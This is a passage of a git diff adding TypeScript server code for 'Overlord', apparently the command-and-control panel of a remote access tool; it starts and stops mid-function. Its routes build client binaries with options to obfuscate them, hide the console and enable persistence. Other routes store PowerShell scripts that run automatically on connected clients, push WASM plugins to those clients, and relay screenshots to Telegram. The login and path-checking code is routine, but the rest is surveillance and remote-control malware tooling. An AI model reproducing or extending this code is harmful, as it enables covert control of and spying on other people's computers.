+ if (screenshot?.bytes?.length) {
+ const meta = getScreenshotMeta(screenshot.format);
+ const filename = `notification-${record.id}.${meta.ext}`;
+ const form = new FormData();
+ form.append("chat_id", chatId);
+ form.append("caption", text);
+ form.append("photo", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename);
+ const url = `https://api.telegram.org/bot${token}/sendPhoto`;
+ await fetch(url, { method: "POST", body: form });
+ return;
+ }
+
+ const url = `https://api.telegram.org/bot${token}/sendMessage`;
+ await fetch(url, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ chat_id: chatId, text }),
+ });
+ } catch (err) {
+ logger.warn("[notify] telegram delivery failed", err);
+ }
+}
+
+export async function deliverNotificationWithScreenshot(
+ record: NotificationRecord,
+ getNotificationConfig: () => any,
+): Promise {
+ const screenshot = await waitForNotificationScreenshot(record.id);
+ await Promise.allSettled([
+ postNotificationWebhook(record, getNotificationConfig, screenshot),
+ postTelegramNotification(record, getNotificationConfig, screenshot),
+ ]);
+}
diff --git a/Overlord-Server/src/server/plugin-state-bundle.ts b/Overlord-Server/src/server/plugin-state-bundle.ts
new file mode 100644
index 0000000..a4d4727
--- /dev/null
+++ b/Overlord-Server/src/server/plugin-state-bundle.ts
@@ -0,0 +1,237 @@
+import fs from "fs/promises";
+import path from "path";
+import AdmZip from "adm-zip";
+import { v4 as uuidv4 } from "uuid";
+import type { ClientInfo } from "../types";
+import { logger } from "../logger";
+import { encodeMessage, type PluginManifest } from "../protocol";
+
+export type PluginState = {
+ enabled: Record;
+ lastError: Record;
+};
+
+export async function loadPluginStateFromDisk(pluginStatePath: string): Promise {
+ try {
+ const raw = await fs.readFile(pluginStatePath, "utf-8");
+ const parsed = JSON.parse(raw) as { enabled?: Record; lastError?: Record };
+ return {
+ enabled: parsed.enabled || {},
+ lastError: parsed.lastError || {},
+ };
+ } catch {
+ return { enabled: {}, lastError: {} };
+ }
+}
+
+export async function savePluginStateToDisk(
+ pluginRoot: string,
+ pluginStatePath: string,
+ pluginState: PluginState,
+): Promise {
+ await fs.mkdir(pluginRoot, { recursive: true });
+ await fs.writeFile(pluginStatePath, JSON.stringify(pluginState, null, 2));
+}
+
+export async function ensurePluginExtracted(
+ pluginRoot: string,
+ pluginId: string,
+ sanitizePluginId: (name: string) => string,
+): Promise {
+ const safeId = sanitizePluginId(pluginId);
+ const zipPath = path.join(pluginRoot, `${safeId}.zip`);
+ const pluginDir = path.join(pluginRoot, safeId);
+ const manifestPath = path.join(pluginDir, "manifest.json");
+
+ let zipStat: any = null;
+ try {
+ zipStat = await fs.stat(zipPath);
+ } catch {
+ zipStat = null;
+ }
+
+ let manifestStat: any = null;
+ try {
+ manifestStat = await fs.stat(manifestPath);
+ } catch {
+ manifestStat = null;
+ }
+
+ if (!zipStat) {
+ if (manifestStat) return;
+ throw new Error(`Plugin bundle not found: ${safeId}`);
+ }
+
+ if (manifestStat && manifestStat.mtimeMs >= zipStat.mtimeMs) {
+ return;
+ }
+
+ await fs.mkdir(pluginDir, { recursive: true });
+ const assetsDir = path.join(pluginDir, "assets");
+ await fs.mkdir(assetsDir, { recursive: true });
+
+ const zip = new AdmZip(zipPath);
+ const entries = zip.getEntries();
+ let wasmEntry: Buffer | null = null;
+ let htmlEntry: Buffer | null = null;
+ let cssEntry: Buffer | null = null;
+ let jsEntry: Buffer | null = null;
+
+ for (const entry of entries) {
+ if (entry.isDirectory) continue;
+ const base = path.basename(entry.entryName);
+ if (base.toLowerCase().endsWith(".wasm")) {
+ wasmEntry = entry.getData();
+ } else if (base.toLowerCase().endsWith(".html")) {
+ htmlEntry = entry.getData();
+ } else if (base.toLowerCase().endsWith(".css")) {
+ cssEntry = entry.getData();
+ } else if (base.toLowerCase().endsWith(".js")) {
+ jsEntry = entry.getData();
+ }
+ }
+
+ if (!wasmEntry || !htmlEntry || !cssEntry || !jsEntry) {
+ throw new Error(`Invalid plugin bundle: ${safeId} (missing required files)`);
+ }
+
+ await fs.writeFile(path.join(pluginDir, `${safeId}.wasm`), wasmEntry);
+ await fs.writeFile(path.join(assetsDir, `${safeId}.html`), htmlEntry);
+ await fs.writeFile(path.join(assetsDir, `${safeId}.css`), cssEntry);
+ await fs.writeFile(path.join(assetsDir, `${safeId}.js`), jsEntry);
+
+ const manifest: PluginManifest = {
+ id: safeId,
+ name: safeId,
+ version: "1.0.0",
+ binary: `${safeId}.wasm`,
+ entry: `${safeId}.html`,
+ assets: {
+ html: `${safeId}.html`,
+ css: `${safeId}.css`,
+ js: `${safeId}.js`,
+ },
+ };
+ await fs.writeFile(manifestPath, JSON.stringify(manifest, null, 2));
+}
+
+export async function syncPluginBundles(
+ pluginRoot: string,
+ ensureExtracted: (pluginId: string) => Promise,
+): Promise {
+ await fs.mkdir(pluginRoot, { recursive: true });
+ const entries = await fs.readdir(pluginRoot, { withFileTypes: true });
+ for (const ent of entries) {
+ if (ent.isFile() && ent.name.toLowerCase().endsWith(".zip")) {
+ const pluginId = ent.name.slice(0, -4);
+ try {
+ await ensureExtracted(pluginId);
+ } catch (err) {
+ logger.warn(`[plugin] failed to extract ${pluginId}: ${(err as Error).message}`);
+ }
+ }
+ }
+}
+
+export async function listPluginManifests(
+ pluginRoot: string,
+ pluginState: PluginState,
+ saveState: () => Promise,
+ ensureExtracted: (pluginId: string) => Promise,
+): Promise {
+ try {
+ await syncPluginBundles(pluginRoot, ensureExtracted);
+ const entries = await fs.readdir(pluginRoot, { withFileTypes: true });
+ const manifests: PluginManifest[] = [];
+ for (const ent of entries) {
+ if (!ent.isDirectory()) continue;
+ const manifestPath = path.join(pluginRoot, ent.name, "manifest.json");
+ try {
+ const raw = await fs.readFile(manifestPath, "utf-8");
+ const manifest = JSON.parse(raw) as PluginManifest;
+ const id = manifest.id || ent.name;
+ const name = manifest.name || ent.name;
+ if (pluginState.enabled[id] === undefined) {
+ pluginState.enabled[id] = true;
+ }
+ manifests.push({ ...manifest, id, name });
+ } catch {}
+ }
+ await saveState();
+ return manifests;
+ } catch {
+ return [];
+ }
+}
+
+export async function loadPluginBundle(
+ pluginRoot: string,
+ pluginId: string,
+ ensureExtracted: (pluginId: string) => Promise,
+): Promise<{ manifest: PluginManifest; wasm: Uint8Array }> {
+ await ensureExtracted(pluginId);
+ const dir = path.join(pluginRoot, pluginId);
+ const manifestPath = path.join(dir, "manifest.json");
+ const rawManifest = await fs.readFile(manifestPath, "utf-8");
+ const manifest = JSON.parse(rawManifest) as PluginManifest;
+ manifest.id = manifest.id || pluginId;
+ manifest.name = manifest.name || pluginId;
+
+ const binaryName = manifest.binary || manifest.entry || `${pluginId}.wasm`;
+ let wasmPath = path.join(dir, binaryName);
+ try {
+ await fs.access(wasmPath);
+ } catch {
+ const files = await fs.readdir(dir);
+ const firstWasm = files.find((f) => f.toLowerCase().endsWith(".wasm"));
+ if (!firstWasm) throw new Error("No .wasm found for plugin " + pluginId);
+ wasmPath = path.join(dir, firstWasm);
+ }
+ const wasm = new Uint8Array(await fs.readFile(wasmPath));
+ return { manifest, wasm };
+}
+
+export function sendPluginBundle(
+ target: ClientInfo,
+ bundle: { manifest: PluginManifest; wasm: Uint8Array },
+): void {
+ const chunkSize = 16 * 1024;
+ const wasm = bundle.wasm;
+ const totalChunks = Math.ceil(wasm.length / chunkSize);
+ const initPayload = {
+ manifest: bundle.manifest,
+ size: wasm.length,
+ chunks: totalChunks,
+ };
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "plugin_load_init",
+ id: uuidv4(),
+ payload: initPayload,
+ }),
+ );
+
+ for (let i = 0; i < totalChunks; i++) {
+ const start = i * chunkSize;
+ const end = Math.min(start + chunkSize, wasm.length);
+ const chunk = wasm.slice(start, end);
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "plugin_load_chunk",
+ id: uuidv4(),
+ payload: { pluginId: bundle.manifest.id, index: i, data: chunk },
+ }),
+ );
+ }
+
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "plugin_load_finish",
+ id: uuidv4(),
+ payload: { pluginId: bundle.manifest.id },
+ }),
+ );
+}
diff --git a/Overlord-Server/src/server/plugin-utils.ts b/Overlord-Server/src/server/plugin-utils.ts
new file mode 100644
index 0000000..537c011
--- /dev/null
+++ b/Overlord-Server/src/server/plugin-utils.ts
@@ -0,0 +1,9 @@
+import path from "path";
+
+export function sanitizePluginId(name: string): string {
+ const cleaned = path.basename(name).replace(/[^A-Za-z0-9._-]/g, "");
+ if (!cleaned) {
+ throw new Error("Invalid plugin id");
+ }
+ return cleaned;
+}
diff --git a/Overlord-Server/src/server/routes/assets-routes.ts b/Overlord-Server/src/server/routes/assets-routes.ts
new file mode 100644
index 0000000..c6b3fd6
--- /dev/null
+++ b/Overlord-Server/src/server/routes/assets-routes.ts
@@ -0,0 +1,43 @@
+import path from "path";
+
+type AssetsRouteDeps = {
+ PUBLIC_ROOT: string;
+ secureHeaders: (contentType?: string) => Record;
+ mimeType: (path: string) => string;
+};
+
+export async function handleAssetsRoutes(
+ req: Request,
+ url: URL,
+ deps: AssetsRouteDeps,
+): Promise {
+ if (!(req.method === "GET" && url.pathname.startsWith("/assets/"))) {
+ return null;
+ }
+
+ let decodedPath = url.pathname;
+ try {
+ decodedPath = decodeURIComponent(url.pathname);
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ if (decodedPath.includes("\u0000")) {
+ return new Response("Not found", { status: 404 });
+ }
+
+ const assetsRoot = path.join(deps.PUBLIC_ROOT, "assets");
+ const relativePath = decodedPath.replace(/^\/assets\//, "");
+ const resolvedPath = path.resolve(assetsRoot, relativePath);
+ const rootWithSep = assetsRoot.endsWith(path.sep) ? assetsRoot : `${assetsRoot}${path.sep}`;
+
+ if (!resolvedPath.startsWith(rootWithSep)) {
+ return new Response("Not found", { status: 404 });
+ }
+
+ const file = Bun.file(resolvedPath);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType(url.pathname)) });
+ }
+ return new Response("Not found", { status: 404 });
+}
diff --git a/Overlord-Server/src/server/routes/auth-routes.ts b/Overlord-Server/src/server/routes/auth-routes.ts
new file mode 100644
index 0000000..876606d
--- /dev/null
+++ b/Overlord-Server/src/server/routes/auth-routes.ts
@@ -0,0 +1,179 @@
+import {
+ authenticateRequest,
+ authenticateUser,
+ extractTokenFromRequest,
+ generateToken,
+ getUserFromRequest,
+ revokeToken,
+} from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import { logger } from "../../logger";
+import {
+ isRateLimited,
+ recordFailedAttempt,
+ recordSuccessfulAttempt,
+} from "../../rateLimit";
+import { getUserById } from "../../users";
+
+type RequestIpProvider = {
+ requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+export async function handleAuthRoutes(
+ req: Request,
+ url: URL,
+ server: RequestIpProvider,
+): Promise {
+ if (req.method === "POST" && url.pathname === "/api/login") {
+ const ip = server.requestIP(req)?.address || "unknown";
+
+ const rateLimitCheck = isRateLimited(ip);
+ if (rateLimitCheck.limited) {
+ logAudit({
+ timestamp: Date.now(),
+ username: "unknown",
+ ip,
+ action: AuditAction.LOGIN_FAILED,
+ success: false,
+ errorMessage: "Rate limited",
+ });
+
+ return new Response(
+ JSON.stringify({
+ ok: false,
+ error: `Too many failed attempts. Please try again in ${rateLimitCheck.retryAfter} seconds.`,
+ }),
+ {
+ status: 429,
+ headers: {
+ "Content-Type": "application/json",
+ "Retry-After": String(rateLimitCheck.retryAfter),
+ },
+ },
+ );
+ }
+
+ try {
+ const body = await req.json();
+ const username = body?.user || "";
+ const password = body?.pass || "";
+
+ const user = await authenticateUser(username, password);
+
+ if (user) {
+ const token = await generateToken(user);
+
+ logger.info(
+ `[auth] User ${user.username} logged in. must_change_password =`,
+ user.must_change_password,
+ `(type: ${typeof user.must_change_password})`,
+ );
+
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.LOGIN,
+ success: true,
+ });
+
+ recordSuccessfulAttempt(ip);
+
+ return new Response(
+ JSON.stringify({
+ ok: true,
+ token,
+ user: {
+ username: user.username,
+ role: user.role,
+ id: user.id,
+ mustChangePassword: Boolean(user.must_change_password),
+ },
+ }),
+ {
+ headers: {
+ "Content-Type": "application/json",
+ "Set-Cookie": `overlord_token=${token}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800`,
+ },
+ },
+ );
+ }
+
+ recordFailedAttempt(ip);
+ logAudit({
+ timestamp: Date.now(),
+ username,
+ ip,
+ action: AuditAction.LOGIN_FAILED,
+ success: false,
+ errorMessage: "Invalid credentials",
+ });
+ } catch (error) {
+ logger.error("[auth] Login error:", error);
+ logAudit({
+ timestamp: Date.now(),
+ username: "unknown",
+ ip,
+ action: AuditAction.LOGIN_FAILED,
+ success: false,
+ errorMessage: String(error),
+ });
+ }
+
+ return new Response(JSON.stringify({ ok: false, error: "Invalid credentials" }), {
+ status: 401,
+ headers: { "Content-Type": "application/json" },
+ });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/logout") {
+ const ip = server.requestIP(req)?.address || "unknown";
+ const user = await getUserFromRequest(req);
+ const token = extractTokenFromRequest(req);
+
+ if (token) {
+ revokeToken(token);
+ }
+
+ logAudit({
+ timestamp: Date.now(),
+ username: user?.username || "unknown",
+ ip,
+ action: AuditAction.LOGOUT,
+ success: true,
+ });
+
+ return new Response(JSON.stringify({ ok: true }), {
+ headers: {
+ "Content-Type": "application/json",
+ "Set-Cookie": `overlord_token=; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=0`,
+ },
+ });
+ }
+
+ if (req.method === "GET" && url.pathname === "/api/auth/me") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response(JSON.stringify({ error: "Not authenticated" }), {
+ status: 401,
+ headers: { "Content-Type": "application/json" },
+ });
+ }
+
+ const dbUser = getUserById(user.userId);
+
+ return new Response(
+ JSON.stringify({
+ username: user.username,
+ role: user.role,
+ userId: user.userId,
+ mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
+ }),
+ {
+ headers: { "Content-Type": "application/json" },
+ },
+ );
+ }
+
+ return null;
+}
diff --git a/Overlord-Server/src/server/routes/auto-scripts-routes.ts b/Overlord-Server/src/server/routes/auto-scripts-routes.ts
new file mode 100644
index 0000000..be5d975
--- /dev/null
+++ b/Overlord-Server/src/server/routes/auto-scripts-routes.ts
@@ -0,0 +1,159 @@
+import { authenticateRequest } from "../../auth";
+import {
+ createAutoScript,
+ deleteAutoScript,
+ listAutoScripts,
+ type AutoScriptTrigger,
+ updateAutoScript,
+} from "../../db";
+import { requirePermission } from "../../rbac";
+import { AUTO_SCRIPT_TRIGGERS, ALLOWED_SCRIPT_TYPES } from "../validation-constants";
+import { v4 as uuidv4 } from "uuid";
+
+export async function handleAutoScriptsRoutes(
+ req: Request,
+ url: URL,
+): Promise {
+ if (req.method === "GET" && url.pathname === "/api/auto-scripts") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response(JSON.stringify({ error: "Not authenticated" }), {
+ status: 401,
+ headers: { "Content-Type": "application/json" },
+ });
+ }
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ return Response.json({ items: listAutoScripts() });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/auto-scripts") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response(JSON.stringify({ error: "Not authenticated" }), {
+ status: 401,
+ headers: { "Content-Type": "application/json" },
+ });
+ }
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return Response.json({ error: "Invalid JSON" }, { status: 400 });
+ }
+
+ const name = String(body?.name || "").trim();
+ const triggerRaw = String(body?.trigger || "").trim() as AutoScriptTrigger;
+ const script = String(body?.script || "");
+ const scriptTypeRaw = String(body?.scriptType || "powershell").trim();
+ const enabled = typeof body?.enabled === "boolean" ? body.enabled : true;
+
+ if (!name) {
+ return Response.json({ error: "Name is required" }, { status: 400 });
+ }
+ if (!script.trim()) {
+ return Response.json({ error: "Script is required" }, { status: 400 });
+ }
+ if (!AUTO_SCRIPT_TRIGGERS.has(triggerRaw)) {
+ return Response.json({ error: "Invalid trigger" }, { status: 400 });
+ }
+
+ const scriptType = ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw)
+ ? scriptTypeRaw
+ : "powershell";
+
+ const item = createAutoScript({
+ id: uuidv4(),
+ name,
+ trigger: triggerRaw,
+ script,
+ scriptType,
+ enabled,
+ });
+
+ return Response.json({ ok: true, item });
+ }
+
+ const autoScriptMatch = url.pathname.match(/^\/api\/auto-scripts\/(.+)$/);
+ if (autoScriptMatch && req.method === "PUT") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response(JSON.stringify({ error: "Not authenticated" }), {
+ status: 401,
+ headers: { "Content-Type": "application/json" },
+ });
+ }
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ return Response.json({ error: "Invalid JSON" }, { status: 400 });
+ }
+
+ const triggerRaw = body?.trigger ? String(body.trigger).trim() : undefined;
+ if (triggerRaw && !AUTO_SCRIPT_TRIGGERS.has(triggerRaw as AutoScriptTrigger)) {
+ return Response.json({ error: "Invalid trigger" }, { status: 400 });
+ }
+
+ const scriptTypeRaw = body?.scriptType ? String(body.scriptType).trim() : undefined;
+ const scriptType = scriptTypeRaw
+ ? ALLOWED_SCRIPT_TYPES.has(scriptTypeRaw)
+ ? scriptTypeRaw
+ : "powershell"
+ : undefined;
+
+ const updated = updateAutoScript(autoScriptMatch[1], {
+ name: body?.name ? String(body.name).trim() : undefined,
+ trigger: triggerRaw as AutoScriptTrigger | undefined,
+ script: body?.script ? String(body.script) : undefined,
+ scriptType,
+ enabled: typeof body?.enabled === "boolean" ? body.enabled : undefined,
+ });
+
+ if (!updated) {
+ return Response.json({ error: "Not found" }, { status: 404 });
+ }
+
+ return Response.json({ ok: true, item: updated });
+ }
+
+ if (autoScriptMatch && req.method === "DELETE") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response(JSON.stringify({ error: "Not authenticated" }), {
+ status: 401,
+ headers: { "Content-Type": "application/json" },
+ });
+ }
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ deleteAutoScript(autoScriptMatch[1]);
+ return Response.json({ ok: true });
+ }
+
+ return null;
+}
diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts
new file mode 100644
index 0000000..3bdeb4d
--- /dev/null
+++ b/Overlord-Server/src/server/routes/build-routes.ts
@@ -0,0 +1,295 @@
+import { v4 as uuidv4 } from "uuid";
+import { authenticateRequest } from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import * as buildManager from "../../build/buildManager";
+import { deleteBuild, getAllBuilds, getBuild } from "../../db";
+import { requirePermission } from "../../rbac";
+import { logger } from "../../logger";
+import path from "path";
+import { resolveRuntimeRoot } from "../runtime-paths";
+
+type RequestIpProvider = {
+ requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+type BuildRouteDeps = {
+ startBuildProcess: (buildId: string, config: any) => Promise;
+ sanitizeMutex: (value?: string) => string | undefined;
+ allowedPlatforms: Set;
+};
+
+export async function handleBuildRoutes(
+ req: Request,
+ url: URL,
+ server: RequestIpProvider,
+ deps: BuildRouteDeps,
+): Promise {
+ if (!url.pathname.startsWith("/api/build")) {
+ return null;
+ }
+
+ try {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/build/start") {
+ requirePermission(user, "clients:control");
+
+ const body = await req.json();
+ const {
+ platforms,
+ serverUrl,
+ rawServerList,
+ stripDebug,
+ disableCgo,
+ obfuscate,
+ enablePersistence,
+ mutex,
+ disableMutex,
+ hideConsole,
+ noPrinting,
+ } = body;
+
+ if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
+ return Response.json({ error: "No platforms specified" }, { status: 400 });
+ }
+
+ let safeMutex: string | undefined;
+ try {
+ safeMutex = typeof mutex === "string" ? deps.sanitizeMutex(mutex) : undefined;
+ } catch (err: any) {
+ return Response.json({ error: err?.message || "Invalid mutex" }, { status: 400 });
+ }
+ const safeDisableMutex = !!disableMutex;
+ const sanitizedPlatforms = platforms.filter((p: string) => typeof p === "string");
+ if (sanitizedPlatforms.length !== platforms.length) {
+ return Response.json({ error: "Invalid platform entries" }, { status: 400 });
+ }
+ const allowedPlatforms = sanitizedPlatforms.filter((p: string) =>
+ deps.allowedPlatforms.has(p),
+ );
+ if (allowedPlatforms.length === 0) {
+ return Response.json({ error: "No valid platforms specified" }, { status: 400 });
+ }
+
+ const safeRawServerList = !!rawServerList;
+ const safeServerUrl =
+ typeof serverUrl === "string" && serverUrl.trim() !== ""
+ ? serverUrl.trim()
+ : undefined;
+ if (safeRawServerList) {
+ if (!safeServerUrl) {
+ return Response.json(
+ { error: "Raw server list requires a server URL" },
+ { status: 400 },
+ );
+ }
+ try {
+ const parsed = new URL(safeServerUrl);
+ if (parsed.protocol !== "https:") {
+ return Response.json(
+ { error: "Raw server list URL must use https" },
+ { status: 400 },
+ );
+ }
+ } catch {
+ return Response.json({ error: "Invalid raw server list URL" }, { status: 400 });
+ }
+ }
+
+ const buildId = uuidv4();
+ const ip = server.requestIP(req)?.address || "unknown";
+
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.COMMAND,
+ details: `Started build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
+ success: true,
+ });
+
+ const safeNoPrinting = !!noPrinting;
+ deps.startBuildProcess(buildId, {
+ platforms: allowedPlatforms,
+ serverUrl: safeServerUrl,
+ rawServerList: safeRawServerList,
+ mutex: safeMutex,
+ disableMutex: safeDisableMutex,
+ stripDebug,
+ disableCgo,
+ obfuscate: !!obfuscate,
+ enablePersistence,
+ hideConsole: !!hideConsole,
+ noPrinting: safeNoPrinting,
+ });
+
+ return Response.json({ buildId });
+ }
+
+ if (req.method === "GET" && url.pathname === "/api/build/list") {
+ requirePermission(user, "clients:control");
+
+ const builds = getAllBuilds();
+ return Response.json({ builds });
+ }
+
+ if (req.method === "DELETE" && url.pathname.match(/^\/api\/build\/(.+)\/delete$/)) {
+ requirePermission(user, "clients:control");
+
+ const buildId = url.pathname.split("/")[3];
+
+ buildManager.deleteBuildStream(buildId);
+ deleteBuild(buildId);
+
+ const ip = server.requestIP(req)?.address || "unknown";
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.COMMAND,
+ details: `Deleted build ${buildId}`,
+ success: true,
+ });
+
+ return Response.json({ success: true });
+ }
+
+ if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/stream$/)) {
+ requirePermission(user, "clients:control");
+
+ const buildId = url.pathname.split("/")[3];
+ const build = buildManager.getBuildStream(buildId);
+
+ if (!build) {
+ return Response.json({ error: "Build not found" }, { status: 404 });
+ }
+
+ logger.info(`[build:${buildId.substring(0, 8)}] Client connected to stream`);
+
+ const stream = new ReadableStream({
+ start(controller) {
+ build.controllers.push(controller);
+ logger.info(
+ `[build:${buildId.substring(0, 8)}] Added controller, total: ${build.controllers.length}`,
+ );
+
+ const encoder = new TextEncoder();
+ try {
+ controller.enqueue(
+ encoder.encode(
+ `data: ${JSON.stringify({ type: "status", text: "Connected to build stream" })}\n\n`,
+ ),
+ );
+ } catch (err) {
+ logger.error(
+ `[build:${buildId.substring(0, 8)}] Failed to send initial message:`,
+ err,
+ );
+ }
+ },
+ cancel() {
+ const index = build.controllers.indexOf(this as any);
+ if (index > -1) {
+ build.controllers.splice(index, 1);
+ logger.info(
+ `[build:${buildId.substring(0, 8)}] Controller removed, remaining: ${build.controllers.length}`,
+ );
+ }
+ },
+ });
+
+ return new Response(stream, {
+ headers: {
+ "Content-Type": "text/event-stream",
+ "Cache-Control": "no-cache",
+ Connection: "keep-alive",
+ "X-Accel-Buffering": "no",
+ },
+ });
+ }
+
+ if (req.method === "GET" && url.pathname.match(/^\/api\/build\/(.+)\/info$/)) {
+ requirePermission(user, "clients:control");
+
+ const buildId = url.pathname.split("/")[3];
+ const build = buildManager.getBuildStream(buildId);
+
+ if (!build) {
+ const dbBuild = getBuild(buildId);
+ if (!dbBuild) {
+ return Response.json({ error: "Build not found" }, { status: 404 });
+ }
+ return Response.json({
+ id: dbBuild.id,
+ status: dbBuild.status,
+ startTime: dbBuild.startTime,
+ expiresAt: dbBuild.expiresAt,
+ files: dbBuild.files,
+ });
+ }
+
+ return Response.json({
+ id: build.id,
+ status: build.status,
+ startTime: build.startTime,
+ expiresAt: build.expiresAt,
+ files: build.files,
+ });
+ }
+
+ if (req.method === "GET" && url.pathname.match(/^\/api\/build\/download\//)) {
+ requirePermission(user, "clients:control");
+
+ const rawName = url.pathname.split("/api/build/download/")[1] || "";
+ let fileName = rawName;
+ try {
+ fileName = decodeURIComponent(rawName);
+ } catch {
+ return Response.json({ error: "Bad request" }, { status: 400 });
+ }
+
+ if (
+ !fileName ||
+ fileName.includes("\u0000") ||
+ fileName.includes("/") ||
+ fileName.includes("\\")
+ ) {
+ return Response.json({ error: "File not found" }, { status: 404 });
+ }
+
+ const rootDir = resolveRuntimeRoot();
+ const distRoot = path.resolve(rootDir, "dist-clients");
+ const filePath = path.resolve(distRoot, fileName);
+ const rootWithSep = distRoot.endsWith(path.sep)
+ ? distRoot
+ : `${distRoot}${path.sep}`;
+
+ if (!filePath.startsWith(rootWithSep)) {
+ return Response.json({ error: "File not found" }, { status: 404 });
+ }
+
+ const file = Bun.file(filePath);
+ if (!(await file.exists())) {
+ return Response.json({ error: "File not found" }, { status: 404 });
+ }
+
+ return new Response(file, {
+ headers: {
+ "Content-Type": "application/octet-stream",
+ "Content-Disposition": `attachment; filename="${fileName}"`,
+ },
+ });
+ }
+
+ return new Response("Not found", { status: 404 });
+ } catch (error) {
+ if (error instanceof Response) {
+ return error;
+ }
+ logger.error("[build] API error:", error);
+ return Response.json({ error: "Internal server error" }, { status: 500 });
+ }
+}
diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts
new file mode 100644
index 0000000..bbfc04b
--- /dev/null
+++ b/Overlord-Server/src/server/routes/client-routes.ts
@@ -0,0 +1,314 @@
+import { v4 as uuidv4 } from "uuid";
+import { authenticateRequest } from "../../auth";
+import { AuditAction, logAudit } from "../../auditLog";
+import * as clientManager from "../../clientManager";
+import {
+ banIp,
+ deleteClientRow,
+ getClientIp,
+ listClients,
+ setOnlineState,
+} from "../../db";
+import { metrics } from "../../metrics";
+import { encodeMessage } from "../../protocol";
+import { requirePermission } from "../../rbac";
+
+type RequestIpProvider = {
+ requestIP: (req: Request) => { address?: string } | null | undefined;
+};
+
+type PendingScript = {
+ resolve: (result: any) => void;
+ reject: (error: any) => void;
+ timeout: NodeJS.Timeout;
+};
+
+type ClientRouteDeps = {
+ CORS_HEADERS: Record;
+ pendingScripts: Map;
+};
+
+export async function handleClientRoutes(
+ req: Request,
+ url: URL,
+ server: RequestIpProvider,
+ deps: ClientRouteDeps,
+): Promise {
+ if (
+ !url.pathname.startsWith("/api/clients") &&
+ !url.pathname.match(/^\/api\/clients\/.+\/command$/)
+ ) {
+ return null;
+ }
+
+ if (url.pathname === "/api/clients") {
+ if (!(await authenticateRequest(req))) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ const page = Math.max(1, Number(url.searchParams.get("page") || 1));
+ const pageSize = Math.max(1, Number(url.searchParams.get("pageSize") || 12));
+ const search = (url.searchParams.get("q") || "").toLowerCase().trim();
+ const sort = url.searchParams.get("sort") || "last_seen_desc";
+ const statusFilter = url.searchParams.get("status") || "all";
+ const osFilter = url.searchParams.get("os") || "all";
+ const result = listClients({ page, pageSize, search, sort, statusFilter, osFilter });
+ return Response.json(result, { headers: deps.CORS_HEADERS });
+ }
+
+ const banMatch = url.pathname.match(/^\/api\/clients\/(.+)\/ban$/);
+ if (req.method === "POST" && banMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const targetId = banMatch[1];
+ const target = clientManager.getClient(targetId);
+ const targetIp = target?.ip || getClientIp(targetId);
+ if (!targetIp) {
+ return Response.json({ error: "Client IP not found" }, { status: 404 });
+ }
+
+ banIp(targetIp, `Banned by ${user.username} for client ${targetId}`);
+
+ if (target) {
+ try {
+ target.ws.close(4003, "banned");
+ } catch {}
+ setOnlineState(targetId, false);
+ }
+
+ const ip = server.requestIP(req)?.address || "unknown";
+ logAudit({
+ timestamp: Date.now(),
+ username: user.username,
+ ip,
+ action: AuditAction.COMMAND,
+ targetClientId: targetId,
+ details: `Banned IP ${targetIp}`,
+ success: true,
+ });
+
+ return Response.json({ ok: true, ip: targetIp });
+ }
+
+ const thumbnailMatch = url.pathname.match(/^\/api\/clients\/(.+)\/thumbnail$/);
+ if (req.method === "POST" && thumbnailMatch) {
+ if (!(await authenticateRequest(req))) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ const clientId = thumbnailMatch[1];
